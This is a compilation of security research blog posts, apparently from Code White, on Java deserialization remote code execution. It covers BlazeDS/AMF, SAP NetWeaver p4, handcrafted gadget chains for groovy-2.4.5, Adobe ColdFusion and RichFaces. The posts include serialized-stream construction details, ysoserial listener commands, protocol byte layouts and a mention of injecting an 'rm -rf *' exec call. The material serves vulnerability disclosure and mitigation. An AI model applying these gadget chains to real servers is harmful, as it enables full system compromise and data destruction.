Of these 15 classes, those related to RMI stood out. That word alone should make you sit up. Especially sun.rmi.server.UnicastRef and sun.rmi.server.UnicastRef2 seemed interesting, as they reconstruct a sun.rmi.transport.LiveRef object via its sun.rmi.transport.LiveRef.read(ObjectInput, boolean) method. This method then reconstructs a sun.rmi.transport.tcp.TCPEndpoint and a local sun.rmi.transport.LiveRef and registers it at the sun.rmi.transport.DGCClient, the RMI distributed garbage collector client:

DGCClient implements the client-side of the RMI distributed garbage collection system.

The external interface to DGCClient is the "registerRefs" method. When a LiveRef to a remote object enters the VM, it needs to be registered with the DGCClient to participate in distributed garbage collection.

When the first LiveRef to a particular remote object is registered, a "dirty" call is made to the server-side distributed garbage collector for the remote object […]

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u121-b00/src/share/classes/sun/rmi/transport/DGCClient.java#l54

So according to the documentation, the registration of our LiveRef results in the call for a remote object to the endpoint specified in our LiveRef? Sounds like RCE via RMI!

Tracing the call hierarchy of ObjectInputStream.readObject actually reveals that there is a path from an Externalizable.readExternal call via sun.rmi.server.UnicastRef/sun.rmi.server.UnicastRef2 to ObjectInputStream.readObject in sun.rmi.transport.StreamRemoteCall.executeCall().

So let's see what happens if we deserialize an AMF message with a sun.rmi.server.UnicastRef object using the following code utilizing Flex BlazeDS:

As a first proof of concept, we just start a listener with netcat and see if the connection gets established.

And we actually got a connection from a client, trying to speak the Java RMI Transport Protocol. 😃

Exploitation

This technique has already been shown as a deserialization blacklist bypass by Jacob Baines in 2016, but I'm not sure if he was aware that it also turns any Externalizable.readExternal into an ObjectInputStream.readObject. He also presented a JRMP listener that sends a specified payload. Later, the JRMP listener has been added to ysoserial, which can deliver any available payload:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener ...

Mitigation

  • Applications using Adobe's/Apache's implementation should migrate to Apache's latest release version 4.7.3, that addresses this issue.
  • Exadel has discontinued its library, so there won't be any updates.
  • For GraniteDS and WebORB for Java, there is currently no response/solution.

Coincidentally, there is the JDK Enhancement Proposal JEP 290: Filter Incoming Serialization Data addressing the issue of Java deserialization vulnerabilities in general, which has already been implemented in the most recent JDK versions 6u141, 7u131, and 8u121.


SAP Customers: Make sure your SAPJVM is up to date!

17 May 2017 at 14:56

Summary

Code White have already an impressive publication record on Java Deserialization. This post is dedicated to a vulnerability in SAP NetWeaver Java. We could reach remote code execution through the p4 protocol and the Jdk7u21 gadget with certain engines and certain versions of the SAP JVM.

We would like to emphasize the big threat unauthenticated RCE poses to a SAP NetWeaver Java. An attacker with a remote shell can read out the secure storage, access the database, create a local NetWeaver user with administrative privileges, in other words, fully compromise the host. Unfortunately, this list is far from being complete. An SAP landscape is usually a network of tightly
connected servers and services. It wouldn’t be unusual that the database of the server stores technical users with high privileges for other SAP systems, be it NetWeaver ABAP or others. Once the attacker gets hold of credentials for those users she can extend her foothold in the organization and eventually compromise the entire SAP landscape.

We tested our exploit successfully on 7.20, 7.30 and 7.40 machines, for detailed version numbers see below. When contacted, SAP Product Security Response told us they published 3 notes (see [7], [8] and [9]) about updates fixing the problems (already in June 2013) with SAP JVM versions 1.5.0_086, 1.6.0_052 and 1.7.0_009 (we tested on earlier versions, see below). In addition SAP have recently adopted JDK JEP 290 (a Java enhancement that allows to filter incoming serialized data). However, neither do these three notes mention Java Deserialization nor is it obvious to the reader they relate to security in any other way.

Due to missing access to the SAP Service Marketplace we’re unable to make any statement about the aforementioned SAP JVM versions. We could only analyze the latest available SAP JVM from tools.hana.ondemand.com (see [6]) which contained a fix for the problem.

Details

In his RuhrSec Infiltrate 2016 talk, Code White’s former employee Matthias Kaiser already talked about SAP NetWeaver Java being vulnerable [2]. The work described here is completely independent of his research.
The natural entry point in this area is the p4 protocol. We found a p4 test client on SAP Collaboration Network and sniffed the traffic. One doesn’t need to wait long until a serialized object is sent over the wire:

00000000  76 31                                            v1
00000002  18 23 70 23 34 4e 6f 6e  65 3a 31 32 37 2e 30 2e .#p#4Non e:127.0.
00000012  31 2e 31 3a 35 39 32 35  36                      1.1:5925 6

    00000000  76 31 19 23 70 23 34 4e  6f 6e 65 3a 31 30 2e 30 v1.#p#4N one:10.0
    00000010  2e 31 2e 31 38 34 3a 35  30 30 30 34             .1.184:5 0004

0000001B  00 00 11 00 00 00 00 00  00 00 ff ff ff ff 00 00 ........ ........
0000002B  00 00 00 00 00 00 0a 00  63 00 6f 00 63 00 72    ........ c.o.c.r

    0000001C  00 00 75 00 00 00 ff ff  ff ff 9e 06 60 00 00 00 ..u..... ....`...
    0000002C  00 00 00 00 00 00 0b 9e  06 60 00 f7 25 e4 05 00 ........ .`..%...
    0000003C  00 00 00 00 00 00 00 98  9c 0e 2a 00 4e 00 6f 00 ........ ..*.N.o.
    0000004C  6e 00 65 00 3a 00 31 00  30 00 2e 00 31 00 30 00 n.e.:.1. 0...1.0.
    0000005C  2e 00 31 00 30 00 2e 00  31 00 30 00 3a 00 35 00 ..1.0... 1.0.:.5.
    0000006C  30 00 30 00 30 00 34 00  3a 00 4e 00 6f 00 6e 00 0.0.0.4. :.N.o.n.
    0000007C  65 00 3a 00 31 00 30 00  2e 00 30 00 2e 00 31 00 e.:.1.0. ..0...1.
    0000008C  2e 00 31 00 38 00 34 00  3a 00 35 00 30 00 30 00 ..1.8.4. :.5.0.0.
    0000009C  30 00 34                                         0.4

0000003A  00 00 16 00 00 00 9e 06  60 00 ff ff ff ff fe 00 ........ `.......
0000004A  00 00 00 00 00 00 14 00  00 00 00 00 00 00 00 00 ........ ........
0000005A  98 9c 0e 2a                                      ...*
0000005E  00 00 75 00 00 00 9e 06  60 00 ff ff ff ff 01 00 ..u..... `.......
0000006E  00 00 00 00 00 00 00 00  00 00 00 00 20 00 00 67 ........ .... ..g
0000007E  00 65 00 74 00 43 00 6c  00 61 00 73 00 73 00 42 .e.t.C.l .a.s.s.B
0000008E  00 79 00 4e 00 61 00 6d  00 65 00 28 00 6a 00 61 .y.N.a.m .e.(.j.a
0000009E  00 76 00 61 00 2e 00 6c  00 61 00 6e 00 67 00 2e .v.a...l .a.n.g..
000000AE  00 53 00 74 00 72 00 69  00 6e 00 67 00 29 00 00 .S.t.r.i .n.g.)..
000000BE  00 00 00 00 00 00 98 9c  0e 2a ac ed 00 05 74 00 ........ .*....t.
000000CE  12 43 6c 69 65 6e 74 49  44 50 72 6f 70 61 67 61 .ClientI DPropaga
000000DE  74 6f 72                                         tor
  


The highlighted part is just the java.lang.String object “ClientIDPropagator”.

Now our plan was to replace this serialized object by a ysoserial payload. Therefore, we needed to find out how the length of such a message block is encoded.

When we look at offset 0000005E, for instance, the 00 00 75 00 looks like 2 header null bytes and then a length in little endian format. Hex 75 is 117, but the total length of the last block is 8*16+3 = 131. If one looks at the blocks the client sent before (at offset 0000001B and 0000003A) one can easily spot that the real length of the block is always 14 more than what is actually sent. This lead to the first conclusion: a message block consists of 2 null bytes, 2 bytes length of the payload in little endian format, then 10 bytes of some (not understood) header information, then the payload:

When running the test client several times and by spotting the messages carefully enough one can see that the payload and header aren’t static: They use 2 4-bytes words sent in the second reply from
the server:


That was enough to set up a first small python program: Send the corresponding byte arrays in the right order, read the replies from the network, set the 4 byte words accordingly and replace “ClientIDPropagator” by the ysoserial Jdk7u21 gadget.

Unfortunately, this didn’t work out at first. A bit later we realized that SAP NetWeaver Java obviously didn’t serialize with the plain vanilla Java ObjectOutputStream but with a custom serializer. After twisting and tweaking a bit we were finally successful. Details are left to the reader ;-)

To demonstrate how dangerous this is we have published a disarmed exploit on github [5]. Instead of using a payload that writes a simple file to the current directory (e.g. cw98653.txt with contents "VULNERABLE"), like we did, an attacker can also add bytecode that runs Runtime.getRuntime().exec("rm -rf *") or establish a remote shell on the system and thereby compromise the system or in the worst case even parts of the SAP landscape.

We could successfully verify this exploit on the following systems:
  •  SAP Application Server Java 7.20 with SAPJVM 1.6.0_07 (build 007)
  •  SAP Application Server Java 7.30 with SAPJVM 1.6.0_23 (build 034)
  •  SAP Application Server Java 7.40 with SAPJVM 1.6.0_43 (build 048)
After SAP Product Security’s response, we downloaded SAPJVM 1.6.0_141 build 99 from [6] and indeed, the AnnotationInvocationHandler, which is at the core of theJdk7u21 gadget exploits, was patched. So, with that version, the JdkGadget cannot be used anymore for exploitation.

However, since staying up-to-date with modern software product release cycles is a big challenge for customers and the corresponding SAP notes do not explicitely bring the reader’s attention to a severe security vulnerability, we’d like to raise awareness that not updating the SAP JVM can expose their SAP systems to serious threats.

Mitigation

  •  Block p4 on your firewall
  •  Make sure your SAP JVM is up-to-date

References

  1. https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkinsopennms-
    and-your-application-have-in-common-this-vulnerability/
  2. http://codewhitesec.blogspot.de/2016/04/infiltrate16-slidedeck-java-deserialization.html
  3. https://github.com/frohoff/ysoserial
  4. https://cal.sap.com/
  5. https://github.com/codewhitesec/sap-p4-java-deserialization-exploit
  6. https://tools.hana.ondemand.com/additional/sapjvm-6.1.099-linux-x64.zip
  7. SAP Note 1875035 (available to customers since June, 2013) for SAP JVM 5
  8. SAP Note 1875026 (available to customers since June, 2013) for SAP JVM 6
  9. SAP Note 1875042 (available to customers since June, 2013) for SAP JVM 7
  10. SAP note 2443673 from April 2017

Handcrafted Gadgets

18 January 2018 at 15:07

Introduction

In Q4 2017 I was pentesting a customer. Shortly before, I had studied json attacks when I stumbled over an internet-facing B2B-portal-type-of-product written in Java they were using (I cannot disclose more details due to responsible disclosure). After a while, I found that one of the server responses sent a serialized Java object, so I downloaded the source code and found a way to make the server deserialize untrusted input. Unfortunately, there was no appropriate gadget available. However, they are using groovy-2.4.5 so when I saw [1] end of december on twitter, I knew I could pwn the target if I succeeded to write a gadget for groovy-2.4.5. This led to this blog post which is based on work by Sam Thomas [2], Wouter Coekaerts [3] and Alvaro Muñoz (pwntester) [4].

Be careful when you fix your readObject() implementation...

We'll start by exploring a popular mistake some developers made during the first mitigation attempts, after the first custom gadgets surfaced after the initial discovery of a vulnerability. Let's check out an example, the Jdk7u21 gadget. A brief recap of what it does: It makes use of a hashcode collision that occurs when a specially crafted instance of java.util.LinkedHashSet is deserialized (you need a string with hashcode 0 for this). It uses a java.lang.reflect.Proxy to create a proxied instance of the interface javax.xml.transform.Templates, with sun.reflect.annotation.AnnotationInvocationHandler as InvocationHandler. Ultimately, in an attempt to determine equality of the provided 2 objects the invocation handler calls all argument-less methods of the provided TemplatesImpl class which yields code execution through the malicious byte code inside the TemplatesImpl instance. For further details, check out what the methods AnnotationInvocationHandler.equalsImpl() and TemplatesImpl.newTransletInstance() do (and check out the links related to this gadget).
The following diagram, taken from [5], depicts a graphical overview of the architecture of the gadget.

So far, so well known.
In recent Java runtimes, there are in total 3 fixes inside AnnotationInvocationHandler which break this gadget (see epilogue). But let's start with the first and most obvious bug. The code below is from AnnotationInvocationHandler in Java version 1.7.0_21:

There is a try/catch around an attempt to get the proxied annotation type. But the proxied interface javax.xml.transform.Templates is not an annotation. This constitutes a clear case of potentially dangerous input that would need to be dealt with. However, instead of throwing an exception there is only a return statement inside the catch-branch. Fortunately for the attacker, the instance of the class is already fit for purpose and does not need the rest of the readObject() method in order to be able to do its malicious work. So the "return" is problematic and would have to be replaced by a throw new Exception of some sort.
Let's check how this method looks like in Java runtime 1.7.0_80:

Ok, so problem fixed? Well, yes and no. On the one hand, the use of the exception in the catch-clause will break the gadget which currently ships with ysoserial. On the other hand, this fix is a perfect example of the popular mistake I'm talking about. Wouter Coekaerts (see [3]) came up with an idea how to bypass such "fixes" and Alvaro Muñoz (see [4]) provided a gadget for JRE8u20 which utilizes this technique (in case you're wondering why there is no gadget for jdk1.7.0_80: 2 out of the total 3 fixes mentioned above are already incorporated into this version of the class. Even though it is possible to bypass fix number one, fix number two would definitely stop the attack).
Let's check out how this bypass works in detail.

A little theory

Let's recap what the Java (De-)Serialization does and what the readObject() method is good for. Let's take the example of java.util.HashMap. An instance of it contains data (key/value pairs) and structural information (something derived from the data) that allows logarithmic access times to your data. When serializing an instance of java.util.HashMap it would not be wise to fully serialize its internal representation. Instead it is completely sufficient to only serialize the data that is required to reconstruct its original state: Metadata (loadfactor, size, ...) followed by the key/value pairs as flat list. Let's have a look at the code:

As you can see, the method starts with a call to defaultReadObject. After that, the instance attributes loadFactor and threshold are initialized and can be used. The key/value pairs are located at the end of the serialized stream. Since the key/value pairs are contained as an unstructured flat list in the stream calling putVal(key,value) basically restores the internal structure, what allows to efficiently use them later on.
In general, it is fair to assume that many readObject() methods look like this:

Coming back to AnnotationInvocationHandler, we can see that its method readObject follows this pattern. Since the problem was located in the custom code section of the method, the fix was also applied there. In both versions, ObjectInputStream.defaultReadObject() is the first instruction. Now let's discuss why this is a problem and how the bypass works.

Handcrafted Gadgets

At work we frequently use ysoserial gadgets. I suppose that many readers are probably familiar with the ysoserial payloads and how these are created. A lot of Java reflection, a couple of fancy helper classes doing stuff like setting Fields, creating Proxy and Constructor instances. With "Handcrafted Gadgets" I meant gadgets of a different kind. Gadgets which cannot be created in the fashion ysoserial does (which is: create an instance of a Java object and serialize it). The gadgets I'm talking about are created by compiling a serialization stream manually, token by token. The result is something that can be deserialized but does not represent a legal Java class instance. If you would like to see an example, check out Alvaro's JRE8_20 gadget [4]. But let me not get ahead of myself, let's take a step back and focus on the problem I mentioned at the end of the last paragraph. The problem is that if the developer does not take care when fixing the readObject method, there might be a way to bypass that fix. The JRE8_20 gadget is an example of such a bypass. The original idea was, as already mentioned in the introduction, first described by Wouter Coekaerts [2]. It can be summarized as follows:

Idea

The fundamental insight is the fact that many classes are at least partly functional when the default attributes have been instantiated and propagated by the ObjectInputStream.defaultReadObject() method call. This is the case for AnnotationInvocationHandler (in older Java versions, more recent versions don't call this method anymore). The attacker does not need the readObject to successfully terminate, an object instance where the method ObjectInputStream.defaultReadObject() has executed is perfectly okay. However, it is definitely not okay from an attacker's perspective if readObject throws an exception, since, eventually this will break deserialization of the gadget completely. The second very important detail is the fact that if it is possible to suppress somehow the InvalidObjectException (to stick with the AnnotationInvocationHandler example) then it is possible to access the instance of AnnotationInvocationHandler later through references. During the deserialization process ObjectInputStream keeps a cache of various sorts of objects. When AnnotationInvocationHandler.readObject is called an instance of the object is available in that cache.
This brings the number of necessary steps to write the gadget down to two. Firstly, store the AnnotationInvocationHandler in the cache by somehow wrapping it such that the exception is suppressed. Secondly, build the original gadget, but replace the AnnotationInvocationHandler in it by a reference to the object located in the cache.

Now let's step through the detailed technical explanation.
  1. References
  2. The wrapper class: BeanContextSupport
  3. The cache

References

If one thinks about object serialization and the fact that you can nest objects recursively it is clear that something like references must exist. Think about the following construct:
Here, the attribute a of class instance c points to an existing instance already serialized before and the serialized stream must reflect this somehow. When you look at a serialized binary stream you can immediately see the references: The hex representation usually looks like this:
71 00 7E AB CD
where AB CD is a short value which represents the array index of the referenced object in the cache. You can easily spot references in the byte stream since hex 71 is "q" and hex 7E is "~":


The wrapper class: BeanContextSupport

Wouter Coekaerts found the class java.beans.beancontext.BeanContextSupport. At some point during deserialization it does the following:
continue in the catch-branch, exactly what we need. So if we can build a serialized stream with an AnnotationInvocationHandler as first child of an instance of BeanContextSupport during deserialization we will end up in the catch (IOException ioe) branch and deserialization will continue.
Let's test this out. I will build a serialized stream with an illegal AnnotationInvocationHandler in it ("illegal" means that the type attribute is not an annotation) and we will see that the stream deserializes properly without throwing an exception. Here is what the structure of this stream will look like:
Once done, the deserialized object is a HashMap with one key/value pair, key is an instance of BeanContextSupport, value is "whatever".
Click here to see the code on github.com
You need to build Alvaro's project [6] to get the jar file necessary for building this:
kai@CodeVM:~/eworkspace/deser$ javac -cp /home/kai/JRE8u20_RCE_Gadget/target/JRE8Exploit-1.0-SNAPSHOT.jar BCSSerializationTest.java
kai@CodeVM:~/eworkspace/deser$ java -cp .:/home/kai/JRE8u20_RCE_Gadget/target/JRE8Exploit-1.0-SNAPSHOT.jar BCSSerializationTest > 4blogpost
Writing java.lang.Class at offset 1048
Done writing java.lang.Class at offset 1094
Writing java.util.HashMap at offset 1094
Done writing java.util.HashMap at offset 1172
Adjusting reference from: 6 to: 8
Adjusting reference from: 6 to: 8
Adjusting reference from: 8 to: 10
Adjusting reference from: 9 to: 11
Adjusting reference from: 6 to: 8
Adjusting reference from: 14 to: 16
Adjusting reference from: 14 to: 16
Adjusting reference from: 14 to: 16
Adjusting reference from: 14 to: 16
Adjusting reference from: 17 to: 19
Adjusting reference from: 17 to: 19
kai@CodeVM:~/eworkspace/deser$

A little program that deserializes the created file and prints out the resulting object shows us this:
kai@CodeVM:~/eworkspace/deser$ java -cp ./bin de.cw.deser.Main deserialize 4blogpost
{java.beans.beancontext.BeanContextSupport@723279cf=whatever}

This concludes the first part, we successfully wrapped an instance of AnnotationInvocationHandler inside another class such that deserialization completes successfully.

The cache

Now we need to make that instance accessible. First we need to get hold of the cache. In order to do this, we need to debug. We set a breakpoint at the highlighted line in java.util.HashMap:
Then start the deserializer program and step into readObject:


When we open it we can see that number 24 is what we were looking for.


Here is one more interesting thing: If you deserialize with an older patch level of the Java Runtime, the object is initialized as can be seen in the sceenshot below:


If you use a more recent patch level like Java 1.7.0_151 you will see that the attributes memberValues and type are null. This is the effect of the third improvement in the class I've been talking about before. More recent versions don't call defaultReadObject at all, anymore. Instead, they first check if type is an annotation type and only after that they populate the default fields.
Let's do one more little exercise. In the program above in line 150, change

        TC_STRING,
        "whatever",

to
        TC_REFERENCE,
        baseWireHandle + 24,

and run the program again:
kai@CodeVM:~/eworkspace/deser$ java -cp ./bin de.cw.deser.Main deserialize 4blogpost2
{java.beans.beancontext.BeanContextSupport@723279cf=sun.reflect.annotation.AnnotationInvocationHandler@10f87f48}

As you can see, the entry in the handles table can easily be referenced.
Now we'll leave the Jdk7u21 gadget and AnnotationInvocationHandler and build a gadget for groovy 2.4.5 using the techniques outlined above.

A deserialization gadget for groovy-2.4.5

Based on an idea of Sam Thomas (see [2]).
The original gadget for version 2.3.9 looks like this:
Trigger is readObject of our beloved AnnotationInvocationHandler, it will call entrySet of the memberValues hash map, which is a proxy class with invocation handler of type org.codehaus.groovy.runtime.ConvertedClosure. Now every invocation of ConvertedClosure will be delegated to doCall of the nested instance of MethodClosure which is a wrapper of the call to the groovy function execute. The OS command that will be executed is provided as member attribute to MethodClosure.
After the original gadget for version 2.3.9 showed up MethodClosure was fixed by adding a method readResolve to the class org.codehaus.groovy.runtime.MethodClosure:
If the global constant ALLOW_RESOLVE is not set to true an UnsupportedOperationException is supposed to break the deserialization. Basically, this means that an instance of MethodClosure cannot be deserialized anymore unless one explicitely enables it. Let's quickly analyze MethodClosure: The class does not have a readObject method and readResolve is called after the default built-in deserialization. So when readResolve throws the exception the situation is almost identical to the one explained in the above paragraphs: An instance of MethodClosure is already in the handle table. But there is one important difference: AnnotationInvocationHandler throws an InvalidObjectException which is a child of IOException whereas readResolve throws an UnsupportedOperationException, which is a child of RuntimeException. BeanContextSupport, however, only catches IOException and ClassCastException. So the identical approach as outlined above would not work: The exception would not be caught. Fortunately, in late 2016 Sam Thomas found the class sun.security.krb5.KRBError which in its readObject method transforms every type of exception into IOException:
This means if we put KRBError in between BeanContextSupport and MethodClosure the UnsupportedOperationException will be translated into IOException which is ultimately caught inside the readChildren method of BeanContextSupport. So our wrapper construct looks like this:
Some readers might be confused by the fact that you can nest an object of type MethodClosure inside a KRBError. Looking at the code and interface of the latter, there is no indication that this is possible. But it is important to keep in mind that what we are concerned with here are not Java objects! We are dealing with a byte stream that is deserialized. If you look again at the readObject method of KRBError you can see that this class calls ObjectInputStream.readObject() right away. So here, every serialized Java object will do fine. Only the cast to byte array will throw a ClassCastException, but remember: An exception will be thrown already before that and this is perfectly fine with the design of our exploit.
Now it is time to put the pieces together. The complete exploit consists of a hash map with one key/value pair, the BeanContextSupport is the key, the groovy gadget is the value. [1] suggests putting the BeanContextSupport inside the AnnotationInvocationHandler but it has certain advantages for debugging to use the hash map. Final structure looks like this:
The final exploit can be found on github.com.

Epilogue

I had mentioned 3 improvements in AnnotationInvocationHandler but I only provided one code snippet. For the sake of completeness, here are the two:
The second fix in jdk1.7.0_80 which already breaks the jdk gadget is a check in equalsImpl:
The highlighted check will filter out the methods getOutputProperties and newTransformer of TemplatesImpl because they are not considered annotation methods, and getMemberMethods returns an empty array so the methods of TemplatesImpl are never called and nothing happens. The third fix which you can find for example in version 1.7.0_151 finally fixes readObject:
As one can see, only the 2 last calls actually set the member attributes type and memberValues. defeaultReadObject is not used at all. Before, the type check for the annotation class is performed. If it fails, an InvalidObjectException is thrown and type and memberValues remain null.

References

  1. https://www.thezdi.com/blog/2017/12/19/apache-groovy-deserialization-a-cunning-exploit-chain-to-bypass-a-patch
  2. http://www.zerodayinitiative.com/advisories/ZDI-17-044/
  3. http://wouter.coekaerts.be/2015/annotationinvocationhandler
  4. https://github.com/pwntester/JRE8u20_RCE_Gadget/blob/master/src/main/java/ExploitGenerator.java
  5. https://gist.github.com/frohoff/24af7913611f8406eaf3
  6. https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Groovy1.java

Exploiting Adobe ColdFusion before CVE-2017-3066

By: Unknown
13 March 2018 at 14:41
In a recent penetration test my teammate Thomas came across several servers running Adobe ColdFusion 11 and 12. Some of them were vulnerable to CVE-2017-3066 but no outgoing TCP connections were possible to exploit the vulnerability. He asked me whether I had an idea how he could still get a SYSTEM shell and the outcome of the short research effort is documented here.

Introduction Adobe ColdFusion & AMF

Before we go into technical details, I will give you a short intro to Adobe ColdFusion (CF). Adobe ColdFusion is an Application Development Platform like ASP.net, however several years older. Adobe ColdFusion allows a developer to build websites, SOAP and REST web services and interact with Adobe Flash using the Action Message Format (AMF).

The AMF protocol is a custom binary serialization protocol. It has two formats, AMF0 and AMF3. An Action Message consists of headers and bodies. Several data types are supported in AMF0 and AMF3. For example the AMF3 format supports the following protocol elements with their type identifier:
Details about the binary message formats of AMF0 and AMF3 can be found on Wikipedia (see https://en.wikipedia.org/wiki/Action_Message_Format).
There are several implementations for AMF in different languages. For Java we have Adobe BlazeDS (now Apache BlazeDS), which is also used in Adobe ColdFusion.
The BlazeDS AMF serializer can serialize complex object graphs. The serializer starts with the root object and serializes its members recursively.
Two general serialization techniques are supported by BlazeDS to serialize complex objects:
  1. Serialization of Bean Properties (AMF0 and AMF3)
  2. Serialization using Java's java.io.Externalizable interface. (AMF3)

Serialization of Bean Properties

This technique requires the object to be serialized to have a public no-arg constructor and for every member public Getter-and Setter-Methods (JavaBeans convention).
In order to collect all member values of an object, the AMF serializer invokes all Getter-methods during serialization. The member names and values are put in the Action message body with the class name of the object.
During deserialization, the classname is taken from the Action Message, a new object is constructed and for every member name the corresponding set method is called with the value as argument. This all happens either in method readScriptObject() of class flex.messaging.io.amf.Amf3Input or readObjectValue() of class flex.messaging.io.amf.Amf0Input.

Serialization using Java's java.io.Externalizable interface

BlazeDS further supports serialization of complex objects of classes implementing the java.io.Externalizable interface which inherits from java.io.Serializable.
Every class implementing this interface needs to provide its own logic to deserialize itself by calling methods on the java.io.ObjectInput-implementation to read serialized primitive types and Strings (e.g. method read(byte[] paramArrayOfByte)).
During deserialization of an object (type 0xa) in AMF3, the method readScriptObject() of class flex.messaging.io.amf.Amf3Input gets called. In line #759 the method readExternalizable is invoked which calls the readExternal() method on the object to be deserialized.

This should be sufficient to serve as an introduction to Adobe ColdFusion and AMF.

Previous work

Chris Gates (@Carnal0wnage) published the paper ColdFusion for Pentesters which is an excellent introduction to Adobe ColdFusion.
Wouter Coekaerts (@WouterCoekaerts) already showed in his blog post that deserializing untrusted AMF data is dangerous.
Looking at the history of Adobe ColdFusion vulnerabilities at Flexera/Secunia's database you can find mostly XSS', XXE's and information disclosures.
The most recent ones are:
  • Deserialization of untrusted data over RMI (CVE-2017-11283/4 by @nickstadb)
  • XXE (CVE-2017-11286 by Daniel Lawson of @depthsecurity)
  • XXE (CVE-2016-4264 by @dawid_golunski)

CVE-2017-3066

In 2017 Moritz Bechler of AgNO3 GmbH and my teammate Markus Wulftange discovered independently the vulnerability CVE-2017-3066 in Apache BlazeDS.
The core problem of this vulnerability was that Adobe Coldfusion never did any whitelisting of allowed classes. Thus any class in the classpath of Adobe ColdFusion, which either fulfills the Java Beans Convention or implements java.io.Externalizable could be sent to the server and get deserialized. Both Moritz and Markus found JRE classes (sun.rmi.server.UnicastRef2 sun.rmi.server.UnicastRef) which implemented the java.io.Externalizable interface and triggered an outgoing TCP connection during AMF3 deserialization. After the connection was made to the attacker's server, its response was deserialized using Java's native deserialization using ObjectInputStream.readObject(). Both found a great "bridge" from AMF deserialization to Java's native deserialization which offers well known exploitation primitives using public gadgets. Details about the vulnerability can also be found in Markus' blog post.
Apache introduced validation through the class flex.messaging.validators.ClassDeserializationValidator. It has a default whitelist but can also be configured with a configuration file. For details see the Apache BlazeDS release notes.

Finding exploitation primitives before CVE-2017-3066

As already mentioned in the very beginning my teammate Thomas required an exploit which also works without outgoing connection.
I had a quick look into the excellent research paper "Java Unmarshaller Security" of Moritz Bechler where he analysed several "Unmarshallers" including BlazeDS. The exploitation payloads he discovered weren't applicable since the libraries were missing in the classpath.
So I started with my typical approach, fired up my favorite "reverse engineering tool" when it comes to Java, Eclipse. Eclipse together with the powerful decompiler plugin "JD-Eclipse" (https://github.com/java-decompiler/jd-eclipse) is all you need for static and dynamic analysis. As a former Dev I was used to work with IDE's which make your life easier and decompiling and grepping through code is often very inefficient and error prone. So I created a new Java project and added all jar-files of Adobe Coldfusion 12 as external libraries.
The first idea was to look for further calls to Java's ObjectInputStream.readObject-method. Using Eclipse this is very easy. Just open class ObjectInputStream, right click on the readObject() method and click "Open Call Hierarchy". Thanks to JD-Eclipse and its decompiler, Eclipse is able to construct call graphs based on class information without having any source. The call graph looks big in the very beginning. But with some experience you see very quickly which nodes in the graph are interesting.
After some hours I found two promising call graphs.

Setter-based Exploit

The first one starts with method setState(byte[] new_state) of class org.jgroups.blocks.ReplicatedTree.



Looking at the implementation of this method, we already can imagine what is happening in line #605. A quick look at the call graph confirms that we eventually end up in a call to ObjectInputStream.readObject().

The only thing to mention here is that the byte[] passed to setState() needs to have an additional byte 0x2 at offset 0x0 as we can see from line 364 of class org.jgroups.util.Util.
The exploit can be found in the following image.

The exploit works against Adobe ColdFusion 12 only since JGroups is only available in this specific version.

Externalizable-based Exploit

The second call graph starts in class org.apache.axis2.util.MetaDataEntry with a call to readExternal which is what we are looking for.

In line #297 we have a call to SafeObjectInputStream.install(inObject).
In this function our AMF3Input instance gets wrapped by a org.apache.axis2.context.externalize.SafeObjectInputStream instance.
In line #341 a new instance of class org.apache.axis2.context.externalize.ObjectInputStreamWithCL is created. This class just extends the standard java.io.ObjectInputStream. In line #342 we finally have our call to readObject().
The following image shows the request for the exploit.


The exploit works against Adobe ColdFusion 11 and 12.

ColdFusionPwn

To make your life easier I created the simple tool ColdFusionPwn. It works on the command line and allows you to generate the serialized AMF message. It incorporates Chris Frohoff's ysoserial for gadget generation. It can be found on our github.

Takeaways

Deserializing untrusted input is bad, that's for sure. From an exploiters perspective exploiting deserialization vulnerabilities is a challenging task since you need to find the "right" objects (gadgets) which trigger functionality you can reuse for exploitation. But it's also more fun :-)

By the way: If you want to make a deep dive into serverside Java Exploitation and all sorts of deserialization vulnerabilities and how to do proper static and dynamic analysis in Java, you might be interested in our upcoming "Advanced Java Exploitation" course.

Poor RichFaces

30 May 2018 at 13:00

RichFaces is one of the most popular component libraries for JavaServer Faces (JSF). In the past, two vulnerabilities (CVE-2013-2165 and CVE-2015-0279) have been found that allow RCE in versions 3.x ≤ 3.3.3 and 4.x ≤ 4.5.3. Code White discovered two new vulnerabilities which bypass the implemented mitigations. Thereby, all RichFaces versions including the latest 3.3.4 and 4.5.17 are vulnerable to RCE.

Introduction

JavaServer Faces (JSF) is a framework for building user interfaces for web applications. While there are only two major JSF implementations (i. e., Apache MyFaces and Oracle Mojarra), there are several component libraries, which provide additional UI components and features. RichFaces is one of the most popular libraries among these component libraries and since it became part of JBoss (and thereby also part of Red Hat), it is also part of several JBoss/Red Hat products, for example JBoss EAP and JBoss Portal.[1]

RichFaces has three major version branches: 3.x, 4.x, and 5.x. However, as 5.x has never left alpha state, it is rather irrelevant. In early 2016, the developers of RichFaces announced the end-of-life of RichFaces in June 2016. The latest releases of the respective branches are 3.3.4 and 4.5.17.

The Past

In the past, two significant vulnerabilities have been discovered by Takeshi Terada of MBSD, which both affect various RichFaces versions:

CVE-2013-2165: Arbitrary Java Deserialization in RichFaces 3.x ≤ 3.3.3 and 4.x ≤ 4.3.2
Deserialization of arbitrary Java serialized object streams in org.ajax4jsf.resource.ResourceBuilderImpl allows remote code execution.
CVE-2015-0279: Arbitrary EL Evaluation in RichFaces 4.x ≤ 4.5.3 (RF-13977)
Injection of arbitrary EL method expressions in org.richfaces.resource.MediaOutputResource allows remote code execution.

Both vulnerabilities rely on the feature to generate images, video, sounds, and other resources on the fly based on data provided in the request. The provided data is either interpreted as a plain array of bytes or as a Java serialized object stream. In RichFaces 3.x, the data gets appended to the URL path preceded by either /DATB/ (byte array) or /DATA/ (Java serialized object stream); in RichFaces 4.x, the data is transmitted in a request parameter named db (byte array) or do (Java serialized object stream). In all cases, the binary data is compressed using DEFLATE and then encoded using a URL-safe Base64 encoding.

CVE-2013-2165: Arbitrary Java Deserialization

This vulnerability is a straight forward Java deserialization vulnerability. When a RichFaces 3.x resource is requested, it eventually gets processed by ResourceBuilderImpl.getResourceDataForKey(String). If the requested resource key begins with /DATA/, the remaining data gets decoded and decompressed (using ResourceBuilderImpl.decrypt(byte[]), which actually, despite its name, does not incorporate encryption[2]) and finally deserialized without any further validation.

